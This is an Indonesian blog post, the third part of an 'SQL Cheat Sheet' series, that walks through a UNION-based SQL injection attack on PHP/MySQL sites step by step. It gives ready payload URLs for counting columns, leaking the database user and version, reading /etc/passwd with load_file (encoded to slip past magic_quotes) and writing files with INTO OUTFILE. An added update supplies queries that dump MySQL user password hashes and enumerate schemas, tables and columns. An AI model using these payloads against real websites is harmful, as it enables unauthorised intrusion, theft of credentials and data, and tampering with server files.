SQL Cheat Sheet [Part III]
17 January 2008
Dah, ini mungkin bagian terakhir dasar dari SCS, sekedar melengkapi yang sudah ada di bagian pertama dan kedua. Dari beberapa percobaan yang saya lakukan, untung berhasil melakukan serangan ada beberapa tahap yang mungkin tiap orang dapat berbeda teknik. Teknik yang saya pakai yaitu terbagi atas beberapa tahap sebagai berikut:
1. Cari Inputan yang akan diproses oleh Query SQL secara langsung (biasanya di URL).
Yup, banyak inputan langsung dengan menggunakan metode GET yang bisa mempengaruhi hasil query dan juga kemudian mempengaruhi tampilan halaman (Error). Coba ubah-ubah nilai tersebut, apakah ada pengaruh pada tampilan atau tidak. Contoh:
http://www.contoh.com/INDEX.php?id=1
Coba ubah nilai yang ada di belakang id dan lihat pengaruhnya pada halaman.
2. Hitung kolom data yang ditampilkan pada halaman.
Berpikirlah bahwa data itu ditampilkan dalam bentuk tabel (prinsip Database) yang terdiri dari baris dan kolom dimana baris adalah data dan kolom adalah kepala tabel. Ada berapa kepala tabel yang diambil oleh query, misalnya no, nama, alamat berarti ada 3. Caranya dengan menggunakan fungsi order by pada mysql, dan coba cari jumlah kolomnya. Contoh:
http://www.contoh.com/INDEX.php?id=1+ORDER+BY+1/*
Cara mengetahui jumlah kolomnya yaitu dengan menaikkan angka setelah order by sampai terjadi error pada halaman. Tidak selamanya harus dimulai dari angka 1, alasan saya menggunakan satu hanya untuk memastikan kalau parameter ini bisa disisipi atau tidak, karena kalau tidak bisa maka langsung terjadi error atau bahkan tidak menampilkan apa² (bisa jadi perlu melakukan Blind) atau bisa juga perlu modifikasi pada inputan (perlu tanda petik atau tidak).
3. Penyeimbangan Union
Setelah menemukan jumlah kolom, maka untuk bisa menampilkan data yang diinginkan dilakukan penyeimbangan dan pencarian data yang ditampilkan. Misalnya, jumlah kolom yang ditemukan adalah 7, maka untuk menyeimbangkannya URL-nya seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,3,4,5,6,7/*
Mengapa -1?, karena yang kita ingin tampilkan hanya angka 1 sampai 7 dan bukan data yang sebenarnya. Jika benar, maka pada halaman akan muncul satu atau lebih angka antara 1 sampai 7 (bisa lebih dari satu). Nah, pada angka tersebutlah bisa kita sisipkan kode untuk mengumpulkan informasi. Misalnya yang muncul di halaman adalah angka 3, maka bentuk URL-nya seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,(kode yang disisipkan),4,5,6,7/*
4. Informasi penting
Jika sampai tahap di atas berhasil, maka selanjutnya yang dicari adalah informasi penting yang dibutuhkan dan tiap orang bisa berbeda. Untuk saya, informasi yang cukup penting adalah user yang dipakai untuk koneksi ke database, nama database, dan versi mysql yang dipakai. Maka untuk menampilkannya dipakai fungsi user() , database() dan version() . Contoh URL-nya seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,concat(user(),char(58),DATABASE(),char(58),version()),4,5,6,7/*
format yang ditampilan akan seperti ini:
nama_user@host:nama_database:versi_mysql
Informasi itu dibutuhkan untuk mengetahui tindakan berikutnya, kalau beruntung bisa didapatkan sistem operasi yang dipakai dengan mengetahui ciri atau biasa juga langsung tertulis pada fungsi version(). Dan jika user mysql yang dipakai buat koneksi itu adalah root, maka anda dapat membaca seluruh isi database yang ada pada server itu.
5. Menguji load_file dan magic_quote_gpc pada PHP
Untuk menguji seberapa besar efek dari serangan ini, perlu dilakukan tes untuk load_file (membaca data pada server). Pengujian ini berguna untuk mengambil informasi juga, seperti tipe OS atau service yang ada (jadi sebaiknya belajar struktur OS juga.. hiks..). Untuk keturunan Unix biasanya diuji untuk membaca file /etc/passwd (atau file default lainnya) sedangkan untuk windows yaitu file c:\\boot.ini. Contoh URL-nya seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,load_file('/etc/passwd'),4,5,6,7/*
Jika terjadi error maka fungsi magic_quote_gpc di PHP mungkin sedang dalam keadaan On (aktif) sehingga tidak mengijinkan tanda petik. Untuk melewatkannya digunakan integer base attack dengan mengubah nama file ke bentuk ASCII atau HEXA. Contoh URL-nya seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7/*
Oke, jika berhasil maka informasi yang dapat dikumpulkan bisa lebih banyak.
6. Pengujian fungsi into outfile.
Ada kasus khusus jika user mysql yang didapatkan adalah root dan magic_quote sedang Off yaitu bisa menuliskan file sesuatu pada server atau paling tidak pada folder web sehingga file itu bisa dibaca dari web. Contoh URL-nya yaitu:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,('tulisan yang diinginkan'),4,5,6,7+INTO+OUTFILE+'path/nama_file'/*
Syaratnya yaitu file yang ditulis harus belum ada di server. Bisa dibayangkan efek dari celah ini kan? ![]()
Sampai di sini dulu dasar dari SCS, saya belum bisa melakukan yang Blind Injection jadi belum bisa nulis sesuatu tentang itu. Tapi menurut saya beda dari Error base dan Blind cuma satu yaitu Blind tidak memberikan error apapun kecuali diakali dengan memberikan delay pada respon query server. Jadi intinya tulisan saya ini masih tergolong lamme.. ![]()
*akhirnya selesai… ![]()
Updated:
Atas permintaan penggemar..
karena katanya masih ada yang kurang penjelasannya. Iya sih butuh pengetahuan juga gimana kalo mentok cuma bisa melihat isi database. Bagaimana cara untuk melihat struktur database yang ada, juga nama tabel² dan kolom ² yang ada di dalamnya. Berikut beberapa teknik untuk melihat isi database yang dapat digunakan jika user yang dipakai memiliki hak akses ke database mysql dan information_schema (database default yang ada di mysql 5):
1. Untuk melihat daftar user yang ada pada tabel mysql.user
SELECT group_concat(user) FROM mysql.user
Jika contoh celah seperti sebelumnya maka URL-nya akan seperti ini:
http://www.contoh.com/INDEX.php?id=-1+union+SELECT+1,2,group_concat(user),3,4,5,6,7+FROM+mysql.user/*
(pada kode selanjutnya saya hanya akan memberi contoh select nya saja)
2. Untuk mengambil nama user dan hash passwordnya:
SELECT group_concat(user,char(58),password) FROM mysql.user
3. Untuk mengetahui daftar nama database yang ada pada server (mysql versi 5).
SELECT group_concat(schema_name) FROM information_schema.schemata
4. Untuk mengetahui daftar tabel pada database tertentu setelah diketahui nama databasnya.
SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema=char(ascii nama DATABASE yang diinginkan)
atau bisa juga langsung mengetahui daftar tabel pada database yang sedang diakses:
SELECT group_concat(table_name) FROM information_schema.TABLES WHERE table_schema=DATABASE()
5. Untuk mengetahui nama kolom pada tabel yang diinginkan, setelah nama database dan nama tabel diketahui:
SELECT group_concat(column_name) FROM information_schema.TABLES WHERE table_schema=DATABASE() AND table_name=char(ascii nama tabel)
Yup, segitu aja.. karena kalau sudah tahu nama database, nama tabel dan nama kolom.. selanjutnya terserah anda mau melihat isi database yang ada. Dan semua tergantung kratifitas anda.. ![]()
Detail:
belajar |
asem…
